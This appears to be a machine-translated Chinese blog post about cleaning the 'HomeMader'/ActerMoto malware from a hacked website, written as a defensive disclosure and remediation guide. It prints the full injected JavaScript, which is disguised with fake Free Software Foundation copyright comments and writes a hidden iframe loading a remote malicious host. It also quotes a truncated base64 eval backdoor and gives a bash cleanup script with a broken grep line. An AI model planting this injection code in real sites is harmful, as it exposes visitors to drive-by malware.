修复:删除fsf.org HomeMader/ActerMoto/lusikrators javascript恶意软件

两天前，我在我的网站上所有javascript文件的顶部都得到了这个脚本：

/*
Copyright (C) 2007 Free Software Foundation, Inc. fsf.org
*/
function getCookie(e){var t=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/(['.$?*|{}'(')'[']'''/'+^])/g,"''$1")+"=([^;]*)"));return t?decodeURIComponent(t[1]):undefined}function HomeMader(){var e=navigator.userAgent;var t=e.indexOf("Chrome")>-1||e.indexOf("Windows")<+1;var n=getCookie("lastshow")===undefined;if(!t&&n){document.write('<iframe src="http://milkatures.getonnow.net/briopo;osiue16.html" style="left: -999px;position: absolute;border-color: hsl(120,100%,75%);border-left-color: hsl(120,60%,70%);border-left-width: 7px;border-radius: 7px;border-right-color: hsla(120,100%,50%,0.3);border-right-width: 6px;border-spacing: 5px 5px;border-top-color: hsla(120,100%,25%,0.3);border-top-style: dotted;border-top-width: 7px;top: -999px;" height="205" width="205"></iframe>');var r=new Date((new Date).getTime()+64*60*60*1e3);document.cookie="lastshow=1; path=/; expires="+r.toUTCString()}}HomeMader()
/*
Copyright (C) 2000 Free Software Foundation, Inc. See LICENSE.txt
*/

经过一些研究，我得到了从你的网站上删除javascript.php恶意软件的下一个提示。

1. 首先在所有文件中搜索"eval（base64_decode（）"，您会发现一个名为xm.php（大小：43KB）的文件。也许它在您的服务器上有另一个名称，但它在eval函数中包含一个非常基于loc的64代码（删除带有此代码的文件，有关该文件的更多信息，请参阅：http://aw-snap.info/articles/backdoor-examples.php)：

eval（base64_decode（"Ly80ZDFlZWUyNDNjNTE4ZjFjN2FjNjE4MzdmMDQ3ZjlkYmFhZWE…

2. 运行此脚本从文件中删除所有javascript代码（有关该脚本的更多信息，请参阅：http://blog.lux-medien.com/2014/09/how-to-fix-actermoto-and-its-edited-javascript-files/）

（在这种情况下，将：replace_WITH_A_UNIQUE_NAME_FROM_THE_COOKIE_SCRIPT替换为，例如：HomeMader）

#!/bin/bash
# This script will fix (or try to fix) infected stuff on your server.
# by Andreas Zeller of lux-medien.com - 15.09.2014
NUMBER_OF_LINES=4 ## This is the number of lines that are infected at the top of the file. Notice that this ONLY works if there is a number of lines to be removed on top of the file. Otherwise this script will break stuff.
IDENTIFYING_STRING="REPLACE_WITH_A_UNIQUE_NAME_FROM_THE_COOKIE_SCRIPT" ## This is the string that will identify the infected file. Most scripts add some sort of website or some other UNIQUE string to it. Adjust to your needs.
echo "Trying to fix your shit. Use at your own risk."
malicious_list=`grep --include='*.js -rnl . -e "$IDENTIFYING_STRING"`
if [ -z "$malicious_list" ]
    then
        echo "Nothing found. You seem to be clean."
    else
        echo "Found `echo "$malicious_list" | wc -l` malicious files..."
fi
for filename in $malicious_list
do
echo "Fixing $filename"
    if [ -f $filename ]
    then
        sed -i -e 1,"$NUMBER_OF_LINES"d $filename
    else
        echo "File $filename not found"
    fi
done
exit

不幸的是，我不知道xm.php文件是如何添加到服务器的。但我希望这能帮助其他人解决这个问题。如果你对此了解更多，它是如何添加到服务器中的？请告诉我！